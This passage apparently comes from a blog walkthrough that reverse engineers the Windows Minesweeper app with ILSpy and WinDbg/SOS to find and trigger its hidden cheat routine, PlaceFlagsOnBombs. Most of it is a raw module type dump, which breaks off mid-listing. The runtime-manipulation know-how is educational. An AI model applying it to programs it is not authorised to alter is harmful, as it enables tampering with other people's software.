GalaSoft.MvvmLight.ViewModelBase.Broadcast\(\!\!0, \!\!0, System.String\)

5002a068 50025790 NONE  
GalaSoft.MvvmLight.ViewModelBase.RaisePropertyChanged\(System.String, \!\!0,
\!\!0,  
Boolean\)

5002a058 500257a4 NONE
GalaSoft.MvvmLight.ViewModelBase.RaisePropertyChanged\(System.Linq.Expressions.Expression\`1<System.Func\`1<\!\!0>>,  
\!\!0, \!\!0, Boolean\)

2f77b950 2f761308 PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource..ctor\(\)

2f77b9d0 2f761318 PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.Init\(\)

2f77b960 2f76132c PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.InitDesign\(\)

2f77ba10 2f761340 PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.MakeMaxMinesPlacement\(\)

2f77b970 2f761354 PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.SaveSettings\(\)

2f77b9e0 2f761364 PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.LoadSettings\(\)

2f77b980 2f761378 PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.CheckMinesMaxCount\(\)

2f77ba30 2f76138c PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.CheckInputValue\(Int32,  
Int32, Int32\)

2f77b990 2f76139c PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.get\_BoardWidthMax\(\)

2f77b9f0 2f7613ac PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.get\_BoardHeightMax\(\)

2f77b9a0 2f7613bc PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.get\_SizeMinimum\(\)

2f77ba20 2f7613cc PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.get\_MinesCountMin\(\)

2f77b9b0 2f7613dc PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.get\_MinesText\(\)

2f77ba00 2f7613f0 PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.get\_WidthText\(\)

2f77b9c0 2f761404 PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.get\_HeightText\(\)

2f77ba40 2f761418 PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.get\_HomeContent\(\)

2f77b948 2f76142c PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.get\_StartGameContent\(\)

2f77b958 2f761440 PreJIT
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.get\_DynamicVisibility\(\)

2f77b968 2f761450 PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.set\_DynamicVisibility\(Windows.UI.Xaml.Visibility\)

2f77b978 2f761464 PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.get\_DynamicCanvasWidth\(\)

2f77b988 2f761474 PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.get\_DynamicCanvasHeight\(\)

2f77b998 2f761484 PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.get\_BoardWidth\(\)

2f77b9a8 2f761494 PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.set\_BoardWidth\(Int32\)

2f77b9b8 2f7614a8 PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.get\_BoardHeight\(\)

2f77b9c8 2f7614b8 PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.set\_BoardHeight\(Int32\)

2f77b9d8 2f7614cc PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.get\_MinesCount\(\)

2f77b9e8 2f7614dc PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.set\_MinesCount\(Int32\)

2f77b9f8 2f7614f0 PreJIT
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.get\_MinesCountMax\(\)

2f77ba08 2f761500 PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.set\_MinesCountMax\(Int32\)

2f77ba18 2f761514 PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.get\_DynamicTiles\(\)

2f77ba28 2f761524 PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.UpdateTiles\(\)

2f77ba38 2f761538 PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.GenerateTiles\(\)

2f77ba48 2f76154c PreJIT  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource.GenerateRandomNumbers\(Int32\)

\- Notice some interesting leads from above like **GenerateRandomNumbers** ,
**get\_MinesCount** , **StartGameContent** , etc...

\- The idea of using _Random number generators_ as a starting point is valid,
however, after browsing the source looking for methods, types, or constants
containing the word **_Cheat_** , I realized the job was already done by the
developers\! :-\)

\- Using **ILSpy** search for **Cheat**.

\- Easier than what I was thinking... Methods like **CheckCheatsHotKeys** and
**CheatShowBombs** are interesting.

\- IMPORTANT\! Our goal is not to find out the key combinations to activate
cheats. We want to force the application to do what we want\!

\- **CheatShowBombs**\(\):

//  
Minesweeper.MvvmStructure.View.Controls.SettingsControl

private void **CheatShowBombs**\(object sender, RoutedEventArgs e\)

MinesweeperCheats.**PlaceFlagsOnBombs**\(\);

\- MinesweeperUI.data -> MinesweeperCheats:

// MinesweeperUI.data.MinesweeperCheats

public static void **PlaceFlagsOnBombs**\(\)

IEngine minesweeperEngine = MinerApp.Instance.MinesweeperEngine;

if\(minesweeperEngine == null\)

return;

foreach\(List<ITile> current in minesweeperEngine.get\_Tiles\(\)\)

foreach\(ITile current2 in current\)

if\(current2.get\_IsBomb\(\) && current2.get\_State\(\) \!= 2\)

current2.SetState\(2, 1, false\);

if\(\!current2.get\_IsBomb\(\) && \(current2.get\_State\(\) == 3 ||
current2.get\_State\(\) == 2\)\)

current2.MakeMarkByState\(0, 0\);

<img src='http://blogs.msdn.com/resized-
image.ashx/__size/550x0/__key/communityserver-blogs-components-
weblogfiles/00-00-00-81-63/5775.ILSPY_5F00_3.png' />

**\!name2ee \*\!PlaceFlagsOnBombs**

\--------------------------------------

Module: 0f971000

Assembly: MinesweeperUI-DP4.DLL

**\!dumpmodule -mt 0f971000**

Name:  
C:\Program  
Files\WindowsApps\Microsoft.MicrosoftMinesweeper\_2.2.1401.2303\_x86\_\_8wekyb3d8bbwe\MinesweeperUI-
DP4.DLL

Attributes: PEFile

Assembly:  
04e3d848

LoaderHeap: 00000000

TypeDefToMethodTableMap: 0fad8738

TypeRefToMethodTableMap: 0f9a8754

MethodDefToDescMap: 0fad8a28

FieldDefToDescMap: 0f9a8e5c

MemberRefToDescMap: 00000000

FileReferencesMap: 0f9713b0

AssemblyReferencesMap: 0f9713b4

MetaData start address: 0f9f0f5c \(245784 bytes\)

Types defined in this module

MT TypeDef Name

\------------------------------------------------------------------------------

0fab0e4c 0x02000002  
MinesweeperUI.ContentLoadingController

0fab117c 0x02000003  
MinesweeperUI.data.Awards.AchievementManager

0fab276c 0x02000004  
MinesweeperUI.data.Awards.AchievementDesc

0faa7d38 0x02000005  
MinesweeperUI.data.Awards.AwardTypes

0fab27a4 0x02000006 MinesweeperUI.data.Awards.AwardsManager

0faa7dfc 0x02000007  
MinesweeperUI.data.Awards.Types.IAwardControl

0fab27d8 0x02000008  
MinesweeperUI.data.Awards.Types.Collect3Map5Pick5Dynamit

0fab2834 0x02000009  
MinesweeperUI.data.Awards.Types.SawGoldSurroundedTrips

0fab2868 0x0200000a  
MinesweeperUI.data.Awards.Types.NoGoldGathered

0fab28b0 0x0200000b  
MinesweeperUI.data.Awards.Types.Destroy100Traps

0fab28f8 0x0200000c  
MinesweeperUI.data.Awards.Types.HateSnacks

0fab2a50 0x0200000d  
MinesweeperUI.data.Awards.Types.UseMap3Times

0fab2a98 0x0200000e  
MinesweeperUI.data.Awards.Types.UsePickaxe7Times

0fab2acc 0x0200000f  
MinesweeperUI.data.Awards.Types.DigsAllTilesWithoutTraps

0fab2b28 0x02000010  
MinesweeperUI.data.Awards.Types.Lose3LivesNearExit

0fab2b70 0x02000011 MinesweeperUI.data.Awards.Types.Grandmaster

0fab2ba4 0x02000012  
MinesweeperUI.data.Awards.Types.Gather10000gold

0fab2bec 0x02000013  
MinesweeperUI.data.Awards.Types.Open100Doors

0fab16e8 0x02000014  
MinesweeperUI.data.Awards.Types.AchievementsControlFactory

0fab2c34 0x02000015  
MinesweeperUI.data.Awards.Types.AllBoardsWinAward

0fab2c7c 0x02000016  
MinesweeperUI.data.Awards.Types.ReachExit20Award

0fab2cc4 0x02000017  
MinesweeperUI.data.Awards.Types.Monster100HunterAward

0fab1808 0x02000018  
MinesweeperUI.data.Awards.Types.CatchedClassicPattern

0fab2d20 0x02000019  
MinesweeperUI.data.Awards.Types.PlayDailyChallenge5Days

0fab2d54 0x0200001a  
MinesweeperUI.data.Awards.Types.Win10SilverBadges

0fab2db0 0x0200001b  
MinesweeperUI.data.Awards.Types.Win12BronzeBadges

0fab2de4 0x0200001c  
MinesweeperUI.data.Awards.Types.Win8GoldBadges

0fab2e40 0x0200001d  
MinesweeperUI.data.Awards.Types.WinEveryDayInMonth

0fab2e74 0x0200001e  
MinesweeperUI.data.Awards.Types.ExpertFlagsAllAndLose

0fab2ebc 0x0200001f  
MinesweeperUI.data.Awards.Types.Find50LadyBugs

0fab2f18 0x02000020  
MinesweeperUI.data.Awards.Types.Disarm1000Mines

0fab2f4c 0x02000021  
MinesweeperUI.data.Awards.Types.RemoveQuesAndLose

0fab2fcc 0x02000022  
MinesweeperUI.data.Awards.Types.Win3ChordFlag

0fab3014 0x02000023 MinesweeperUI.data.Awards.Types.WinEasyIn30

0fab3070 0x02000024  
MinesweeperUI.data.Awards.Types.Scored100000

0fab30b8 0x02000025  
MinesweeperUI.data.Awards.Types.Uncovered1000Tiles

0fab3100 0x02000026  
MinesweeperUI.data.Awards.Types.Place100Flags

0fab3148 0x02000027 MinesweeperUI.data.Awards.Types.LoseGame2Taps

0fab317c 0x02000028  
MinesweeperUI.data.Awards.Types.OpenTileWith6MinesNear

0fab31c4 0x02000029  
MinesweeperUI.data.Awards.Types.PlaceFlagOnEveryTile

0fab3220 0x0200002a  
MinesweeperUI.data.Awards.Types.Win1DailyChallenge

0fab3268 0x0200002b  
MinesweeperUI.data.Awards.Types.Played1DailyChallenge

0fab32b0 0x0200002c  
MinesweeperUI.data.Awards.Types.TriggerFirstMineAward

0fab32e4 0x0200002d  
MinesweeperUI.data.Awards.Types.FirstWinAward

0fab332c 0x0200002e  
MinesweeperUI.data.Awards.Types.DefaultAward

0fab3388 0x0200002f  
MinesweeperUI.data.Awards.Types.WinWithoutFlagsAward

0fab33bc  
0x02000030 MinesweeperUI.data.MinesweeperCheats

0fab33e8 0x02000031 MinesweeperUI.data.CheatAward

0fab3414 0x02000032 MinesweeperUI.data.DailychallengeDataHeap

0faa7ec4 0x02000033  
MinesweeperUI.data.DailyChallenge.OnLoadedComplete

0fab11e8 0x02000034  
MinesweeperUI.data.DailyChallenge.DataManager

0faa7f3c 0x02000035  
MinesweeperUI.data.Descriptions.LeaderboardTypes

0fab1c90 0x02000036 MinesweeperUI.data.LeveldataChecks

0faa7f74 0x02000037  
MinesweeperUI.data.ILeveldataCheck

0fab3490 0x02000038  
MinesweeperUI.data.UncoverModeLeveldataCheck

0fab34d8 0x02000039  
MinesweeperUI.data.EmptyLeveldataCheck

0fab1414 0x0200003a  
MinesweeperUI.data.Session.MinesweeperExternalSettings

0fab1440 0x0200003b  
MinesweeperUI.data.Session.OptinSettings

0fab350c 0x0200003c  
MinesweeperUI.data.Utils.LeaderboardUtils

0fab3544 0x0200003d  
MinesweeperUI.data.LevelParamDefinition

0fab1c64 0x0200003e  
MinesweeperUI.data.LevelDefinition

0faa7fa8 0x0200003f  
MinesweeperUI.data.LivetilesTag

0faa7fe0 0x02000040 MinesweeperUI.data.Sounds

0faa8018 0x02000041  
MinesweeperUI.data.MinesweeperDifficulties

0fab11a8 0x02000042 MinesweeperUI.data.DataHeap

0fab3574 0x02000043 MinesweeperUI.data.Event.SwitchTabSystem

0fab35a4 0x02000044  
MinesweeperUI.data.Event.ExternalSettingsUpdated

0fab35d0 0x02000045  
MinesweeperUI.data.Event.WinIterationAnimationCompletedEvent

0fab3600 0x02000046  
MinesweeperUI.data.Event.TimeForNextIterationEvent

0fab3630 0x02000047  
MinesweeperUI.data.Event.ShowAdsByOptInEvent

0fab3660 0x02000048  
MinesweeperUI.data.Event.ShowGameplayEvent

0fab3690 0x02000049  
MinesweeperUI.data.Event.AppChangingSize

0fab36c0 0x0200004a  
MinesweeperUI.data.Event.CustomSettingsStartedGame

0fab36f0 0x0200004b  
MinesweeperUI.data.Event.GameoverMessage

0fab3720 0x0200004c  
MinesweeperUI.data.Event.UnregisterKeyboardEvents

0fab375c 0x0200004d  
MinesweeperUI.data.Event.EngineStateUpdated

0fab378c 0x0200004e  
MinesweeperUI.data.Event.NewCustomGameStartedMessage

0fab37bc 0x0200004f  
MinesweeperUI.data.Event.UpdateAppbarsButtons

0fab37f8 0x02000050  
MinesweeperUI.data.Event.SetAdventureLevelName

0fab3828 0x02000051  
MinesweeperUI.data.Event.ChangeAdventureUiSize

0fab3858 0x02000052  
MinesweeperUI.data.Event.ChangeClassicUiSize

0fab3888 0x02000053  
MinesweeperUI.data.Event.SettingsChanged

0fab38c4 0x02000054  
MinesweeperUI.data.Event.UseSpecialTool

0fab3900 0x02000055  
MinesweeperUI.data.Event.CustomBoardSettingsChanged

0fab3930 0x02000056  
MinesweeperUI.data.Event.ChangeGamePlayEvent

0fab3960 0x02000057  
MinesweeperUI.data.Event.InputControlsChanged

0fab3990 0x02000058  
MinesweeperUI.data.Event.InputControlsSwitched

0fab39c0 0x02000059  
MinesweeperUI.data.Event.ShowHideControlsSwitcherButton

0fab39f0 0x0200005a MinesweeperUI.data.Event.UserClickAtBottomGamePlay

0faa8064 0x0200005b  
MinesweeperUI.data.Event.OnSuspended

0faa80c8 0x0200005c  
MinesweeperUI.data.Event.OnResumed

0faa812c 0x0200005d  
MinesweeperUI.data.Event.OnGameLoadingStart

0faa8190 0x0200005e MinesweeperUI.data.Event.OnGameLoadingEnd

0fab3a2c 0x0200005f  
MinesweeperUI.data.Event.GameEventsDispatcher

0faa81f4 0x02000060  
MinesweeperUI.data.OnInitMinerApp

0faa8258 0x02000061  
MinesweeperUI.data.OnInitGameInternal

0fab3a58 0x02000062  
MinesweeperUI.data.AppBarsVisibilityMessage

0fab3a84 0x02000063  
MinesweeperUI.data.ThemeInfoLoadedMessage

0fab3ab0 0x02000064  
MinesweeperUI.data.DataManagerInfoLoadedMessage

0fab0e84 0x02000065 MinesweeperUI.data.MinerApp

0faa82a8 0x02000066  
MinesweeperUI.data.Pages.AppCommands

0fab3ae8 0x02000067  
MinesweeperUI.data.Pages.PageNavigationParam

0fab3b14 0x02000068  
MinesweeperUI.data.Sentient.SentientTimeEvent

0faa82e0 0x02000069  
MinesweeperUI.data.Sentient.LevelLanchPlace

0fab3b40 0x0200006a  
MinesweeperUI.data.Sentient.LevelStartParams

0fab1da4 0x0200006b  
MinesweeperUI.data.Sentient.MinesweeperSentientController

0faa8318 0x0200006c  
MinesweeperUI.data.Sentient.SentientMenuIds

0faa8350 0x0200006d  
MinesweeperUI.data.Sentient.SentientMicroGoodTypeId

0faa8388 0x0200006e  
MinesweeperUI.data.Sentient.SentientModeIds

0faa83c0 0x0200006f  
MinesweeperUI.data.Sentient.SentientOfferIds

0faa83f8 0x02000070  
MinesweeperUI.data.Sentient.SentientSubMenu

0faa8430 0x02000071  
MinesweeperUI.data.Sentient.SentientSubModeIds

0faa8468 0x02000072  
MinesweeperUI.data.Sentient.SentientLevelIds

0faa84a0 0x02000073  
MinesweeperUI.data.Sentient.SentientSubLevelIds

0faa84d8 0x02000074  
MinesweeperUI.data.Sentient.SentientLevelExitProgressStart

0faa8510 0x02000075  
MinesweeperUI.data.Sentient.UpsellId

0faa8548 0x02000076 MinesweeperUI.data.Sentient.AchievementId

0fab13dc 0x02000077  
MinesweeperUI.data.Sentient.SentientUtils

0faa8580 0x02000078  
MinesweeperUI.data.Sentient.SentientEventByTime

0faa85cc 0x02000079  
MinesweeperUI.data.Session.OnChangedOptinSettings

0faa861c 0x0200007a MinesweeperUI.data.Session.IGameModeData

0fab2444 0x0200007b  
MinesweeperUI.data.Session.AdventureModeData

0fab13b0 0x0200007c  
MinesweeperUI.data.Session.GameModeStorage

0fab3b88 0x0200007d  
MinesweeperUI.data.Session.DailyChallengeModeData

0fab344c 0x0200007e MinesweeperUI.data.Session.ChallengeDescriptionData

0fab1d6c 0x0200007f  
MinesweeperUI.data.Session.GameModeDataFactory

0fab1478 0x02000080  
MinesweeperUI.data.Session.SettingsStorage

0fab3c74 0x02000081  
MinesweeperUI.data.Session.ClassicGameModeData

0faa8698 0x02000082  
MinesweeperUI.data.Session.OnGameModeWillChange

0faa86fc 0x02000083  
MinesweeperUI.data.Session.OnGameModeChanged

0faa8760 0x02000084  
MinesweeperUI.data.Session.OnDataCompleted

0fab110c 0x02000085  
MinesweeperUI.data.Session.UserSession

0fab3cb0 0x02000086  
Minesweeper.MvvmStructure.Helpers.ShareManager

0faa87b0 0x02000087  
Minesweeper.MvvmStructure.Helpers.ShareManager+MessageType

0fab3cdc 0x02000088  
MinesweeperUI.data.Utils.BoardConstants

0fab3d08 0x02000089  
MinesweeperUI.data.Utils.MinesweeperUtils

0fab3d40 0x0200008a  
MinesweeperUI.data.Utils.AdventureStatisticMergeOperation

0fab3d80 0x0200008b  
MinesweeperUI.data.Utils.MinesweeperEngineUtils

0fab296c 0x0200008c  
MinesweeperUI.data.Utils.Statistics.ClassicStatisticHelper

0fab3dcc 0x0200008d MinesweeperUI.data.Utils.ClassicStatisticMergeOperation

0fab3e04 0x0200008e  
MinesweeperUI.data.Utils.MergeOldToNewStatistics

0fab2940 0x0200008f  
MinesweeperUI.data.Utils.StatisticUtils

0fab29a0 0x02000090  
MinesweeperUI.data.Utils.TextsUtils

0fab3e30 0x02000091 MinesweeperUI.data.Utils.UiUtils

0fab3e5c 0x02000092 MinesweeperUI.data.GuiRates

0fab1144 0x02000093  
MinesweeperUI.data.GuiFrameRateManager

0fab3e94 0x02000094  
MinesweeperUI.data.ViewSettings

0fab4070 0x02000095 MinesweeperUI.GameView

0fab7058 0x02000096 MinesweeperUI.Livetiles.LivetileCommands

0fab6850 0x02000097  
MinesweeperUI.Modes.Common.Animations.MinerAnimatedSpriteNode

0fab6ac8 0x02000098  
MinesweeperUI.Modes.Common.Animations.AdvancedMinerAnimatedSpriteNode

0faa87e8 0x02000099  
MinesweeperUI.Modes.Common.Animations.AnimationSequence.ISequence

0fab713c 0x0200009a  
MinesweeperUI.Modes.Common.Animations.AnimationSequence.BaseAnimation

0fab71b4 0x0200009b  
MinesweeperUI.Modes.Common.Animations.AnimationSequence.BaseClassicAnimation

0fab7244 0x0200009c
MinesweeperUI.Modes.Common.Animations.AnimationSequence.Lose.BaseLoseAnimation

0fab72ac 0x0200009d  
MinesweeperUI.Modes.Common.Animations.AnimationSequence.Lose.BaseLoseAnimationFlower

0fab7354 0x0200009e  
MinesweeperUI.Modes.Common.Animations.AnimationSequence.Lose.LoseAnimationFlower

0fab73b0 0x0200009f  
MinesweeperUI.Modes.Common.Animations.AnimationSequence.Lose.TreasureLoseAnimationFlower

0fab7464 0x020000a0  
MinesweeperUI.Modes.Common.Animations.AnimationSequence.Lose.LoseAnimation

0fab7500 0x020000a1
MinesweeperUI.Modes.Common.Animations.AnimationSequence.Lose.TreasureLoseAnimation

0fab754c 0x020000a2  
MinesweeperUI.Modes.Common.Animations.AnimationSequence.AdventureWinAnimation

0fab75b4 0x020000a3  
MinesweeperUI.Modes.Common.Animations.AnimationSequence.Win.BaseWinAnimation

0fab7628 0x020000a4  
MinesweeperUI.Modes.Common.Animations.AnimationSequence.Win.BaseWinAnimationFlower

0fab76b0 0x020000a5  
MinesweeperUI.Modes.Common.Animations.AnimationSequence.Win.WinShortAnimationFlower

0fab7730 0x020000a6
MinesweeperUI.Modes.Common.Animations.AnimationSequence.Win.WinAnimationFlower

0fab7bbc 0x020000a7  
MinesweeperUI.Modes.Common.Animations.AnimationSequence.Win.TreasureWinAnimationFlower

0fab7c4c 0x020000a8  
MinesweeperUI.Modes.Common.Animations.AnimationSequence.Win.WinShortAnimation

0fab7cd4 0x020000a9  
MinesweeperUI.Modes.Common.Animations.AnimationSequence.Win.WinAnimation

0fab7db0 0x020000aa  
MinesweeperUI.Modes.Common.Animations.AnimationSequence.Win.TreasureWinAnimation

0fab6c28 0x020000ab  
MinesweeperUI.Modes.Common.Animations.FollowedAnimatedSpriteNode

0fab6edc 0x020000ac  
MinesweeperUI.Modes.Common.Animations.FollowedParticleEffectNode

0fab1d08 0x020000ad  
MinesweeperUI.Modes.Common.Animations.MinerSpriteSheetAnimation

0fab6a38 0x020000ae  
MinesweeperUI.Modes.Common.Messages.OptInPopupCodeBehind

0faa8854 0x020000af  
MinesweeperUI.Modes.Common.Messages.OptInPopupCodeBehind+PopupButtonPressedEventHandler

0fab57a8 0x020000b0  
MinesweeperUI.Modes.Common.View.DailyChallengeController

0faa88a4 0x020000b1  
MinesweeperUI.Modes.Gameend.Handlers.IGameendHandler

0fab7e00 0x020000b2  
MinesweeperUI.Modes.Gameend.Handlers.ClassicGameendHandler

0fab7e48 0x020000b3  
MinesweeperUI.Modes.Gameend.Handlers.AdventureGameendHandler

0fab7e90 0x020000b4  
MinesweeperUI.Modes.Gameend.Handlers.DailyChallengeGameendHandler

0fab7ed8 0x020000b5  
MinesweeperUI.Modes.Gameend.Handlers.DefaultGameendHandler

0fab7f0c 0x020000b6  
MinesweeperUI.Modes.Gameend.Handlers.GameendHandlersFactory

0fab426c 0x020000b7  
MinesweeperUI.Modes.ModeEnginesFactory

0fab7f38 0x020000b8 Modes.Classic.AnimationCompleted

0faa88d8 0x020000b9  
MinesweeperUI.Modes.Common.View.IEngineView

0fab4d20 0x020000ba  
MinesweeperUI.Modes.Common.View.BasicEngineView

0fab4768 0x020000bb  
Modes.Classic.ClassicEngineView

0faa8988 0x020000bc  
MinesweeperUI.Modes.Common.View.ITileView

0fab5280 0x020000bd  
MinesweeperUI.Modes.Common.View.BasicTileView

0fab5654 0x020000be Modes.Classic.ClassicTileView

0fab69c8 0x020000bf  
MinesweeperUI.Modes.Common.View.TileBackController

0fab4e04 0x020000c0  
MinesweeperUI.Modes.Common.Animations.AnimationSequenceManager

0fab653c 0x020000c1  
MinesweeperUI.Modes.Common.Animations.ProgrammingAnimationsFactory

0faa8a54 0x020000c2  
MinesweeperUI.Modes.Common.Animations.AnimationSequence.OnAnimationComplete

0fab7f84 0x020000c3  
MinesweeperUI.Modes.Common.Animations.AnimationSequence.StartAnimation.UpDownAppearingSequenceClassic

0fab7ac8 0x020000c4  
MinesweeperUI.Modes.Common.Animations.AnimationSequence.Win.WinSequence

0fab783c 0x020000c5  
MinesweeperUI.Modes.Common.Animations.Effects.EffectTrailParticles

0faa8aa4 0x020000c6  
MinesweeperUI.Modes.Common.Animations.Effects.IEffectPath

0fab7b68 0x020000c7  
MinesweeperUI.Modes.Common.Animations.Effects.PathBackToFront

0fab7b14 0x020000c8  
MinesweeperUI.Modes.Common.Animations.Effects.PathSpiral

0faa8aec 0x020000c9 MinesweeperUI.Modes.Gameend.OnPlayNewLevel

0faa8b50 0x020000ca  
MinesweeperUI.Modes.Gameend.OnRestartLevel

0faa8bb4 0x020000cb  
MinesweeperUI.Modes.Gameend.OnGoHome

0faa8c18 0x020000cc  
MinesweeperUI.Modes.Gameend.OnViewBoard

0fab8000 0x020000cd MinesweeperUI.Modes.Gameend.GameendController

0fab2714 0x020000ce  
MinesweeperUI.Modes.Common.InputController.Base.BaseInputController

0fab802c 0x020000cf  
MinesweeperUI.Modes.Common.InputController.InputControllerParams

0faa8c68 0x020000d0  
MinesweeperUI.Modes.Common.InputController.InputControllerTypes

0fab1fb4 0x020000d1  
MinesweeperUI.Modes.Common.InputController.InputControllersFactory

0faa8ca0 0x020000d2  
MinesweeperUI.Modes.Common.InputController.IInputController

0fab269c 0x020000d3  
MinesweeperUI.Modes.Common.InputController.HoldToFlagInputController

0faa8d04 0x020000d4  
MinesweeperUI.Modes.Common.InputController.SwipeType

0fab25d4 0x020000d5  
MinesweeperUI.Modes.Common.InputController.SwipeInputController

0fab2658 0x020000d6  
MinesweeperUI.Modes.Common.InputController.TapToFlagInputController

0fab8064 0x020000d7  
MinesweeperUI.Modes.Common.InputController.SimpleInputController

0fab80c8 0x020000d8  
MinesweeperUI.Modes.Common.InputController.StateInputController

0faa8d3c 0x020000d9 MinesweeperUI.data.GameType

0faa8d74 0x020000da MinesweeperUI.data.ScoreBarTypes

0faa8dac 0x020000db  
MinesweeperUI.data.GameEndHandlerTypes

0fab1d40 0x020000dc  
MinesweeperUI.data.ModeDescription

0fab1378 0x020000dd  
MinesweeperUI.data.ModeDescriptionFactory

0faa8df8 0x020000de MinesweeperUI.Modes.Common.View.OnStateChanged

0faa8e5c 0x020000df  
MinesweeperUI.Modes.Common.View.OnAnimationComplete

0fab8120 0x020000e0  
MinesweeperUI.Modes.Common.View.BoardManipulationsParams

0fab5b30 0x020000e1  
MinesweeperUI.Modes.Common.View.ClicksController

0fab6474 0x020000e2  
MinesweeperUI.Modes.Common.View.DraggingController

0fab6404 0x020000e3  
MinesweeperUI.Modes.Common.View.Controls.HightLightTileControl

0fab64c0 0x020000e4  
MinesweeperUI.Modes.Common.View.InputPointsController

0fab64f8 0x020000e5 MinesweeperUI.Modes.Common.View.KeyboardController

0fab643c 0x020000e6  
MinesweeperUI.Modes.Common.View.ScalingController

0fab5f80 0x020000e7  
MinesweeperUI.Modes.Common.View.ScrollingControl

0fab76e8 0x020000e8  
MinesweeperUI.Modes.Common.View.TileViewEx

0fab8180 0x020000e9 MinesweeperUI.Modes.Common.View.EmptyTileView

0faa8eac 0x020000ea MinesweeperUI.data.MinerModes

0fab82d4 0x020000eb  
MinesweeperUI.Modes.Views.ClassicDailyChallengeTileView

0fab6b6c 0x020000ec  
MinesweeperUI.Modes.Common.View.TutorialAnimation

0fab6574 0x020000ed MinesweeperUI.Modes.Common.View.TutorialAnimController

0faa8ee4 0x020000ee  
MinesweeperUI.Modes.PathFinder.Animations.IInfoAnimation

0fab4e6c 0x020000ef  
MinesweeperUI.Modes.PathFinder.Animations.InfoAnimation

0faa8f54 0x020000f0  
MinesweeperUI.Modes.PathFinder.Animations.InfoAnimation+InfoAnimationEventHandler

0fab8394 0x020000f1  
MinesweeperUI.Modes.PathFinder.Animations.FlyToUiInfoAnimation

0fab8428 0x020000f2  
MinesweeperUI.Modes.PathFinder.Animations.InfoAnimationColors

0fab6338 0x020000f3
MinesweeperUI.Modes.PathFinder.Animations.LevelNumberAnimation

0fab8490 0x020000f4  
MinesweeperUI.Modes.PathFinder.Animations.NextLevelAnimation

0fab57e0 0x020000f5  
MinesweeperUI.Modes.PathFinder.AdventureOptInLogic

0fab8828 0x020000f6  
MinesweeperUI.Modes.Views.PathFinder.PathFinderContentState

0fab5b98 0x020000f7  
MinesweeperUI.Modes.PathFinder.PathFinderKeyboardController

0fab5fcc 0x020000f8  
MinesweeperUI.Modes.PathFinder.Controls.PathFinderScrollingController

0fab5e24 0x020000f9  
MinesweeperUI.Modes.PathFinder.ExitNode

0fab59c0 0x020000fa  
MinesweeperUI.Modes.PathFinder.ManNode

0faa8fb8 0x020000fb  
MinesweeperUI.Modes.PathFinder.ManNode+AnimationCompletedEvent

0fab48f8 0x020000fc  
MinesweeperUI.Modes.PathFinder.PathFinderEngineView

0fab88e4 0x020000fd MinesweeperUI.Modes.PathFinder.PathFinderTileView

0fab8a2c 0x020000fe  
MinesweeperUI.Modes.PathFinder.TileBreakingEffectFactory

0fab8a7c 0x020000ff  
MinesweeperUI.Modes.Treasure.TreasureEngineView

0fab8ba0 0x02000100  
MinesweeperUI.Modes.Treasure.TreasureTileView

0faa9008 0x02000101 MinesweeperUI.theme.MinesweeperThemeIds

0fab0ebc 0x02000102 MinesweeperUI.theme.Theme

0faa90a8 0x02000103  
MinesweeperUI.theme.OnThemeChanged

0faa910c 0x02000104  
MinesweeperUI.theme.OnThemeLoaded

0fab10cc 0x02000105 MinesweeperUI.theme.ThemeSets

0fab8c44 0x02000106  
MinesweeperUI.theme.ThemeSoundDesc

0fab8c7c 0x02000107  
MinesweeperUI.theme.ThemeTextureDesc

0fab1cc8 0x02000108  
MinesweeperUI.theme.AnimationObjectDesc

0fab134c 0x02000109  
MinesweeperUI.theme.ThemesUtils

0faa9228 0x0200010a MinesweeperUI.Tutorial.ITutorialAction

0fab8cc8 0x0200010b  
MinesweeperUI.Tutorial.Actions.RunClassicFirstBoardAction

0fab8d20 0x0200010c  
MinesweeperUI.Tutorial.ForceOpenTilesTutorialAction

0fab8d78 0x0200010d  
MinesweeperUI.Tutorial.HighlightAdventureTileTutorialAction

0fab8db8 0x0200010e  
MinesweeperUI.Tutorial.HighlightUIElementTutorialAction

0fab8e04 0x0200010f  
MinesweeperUI.Tutorial.Actions.ImplementUIRestrictions

0fab8e50 0x02000110  
MinesweeperUI.Tutorial.Actions.WaitGameoverEventAction

0fab8ea8 0x02000111 MinesweeperUI.Tutorial.Actions.MinesChaos

0fab8ed4 0x02000112  
MinesweeperUI.Tutorial.Actions.MinesChaosAction

0fab8f38 0x02000113  
MinesweeperUI.Tutorial.Actions.ImplementRestrictionAction

0fab8f6c 0x02000114  
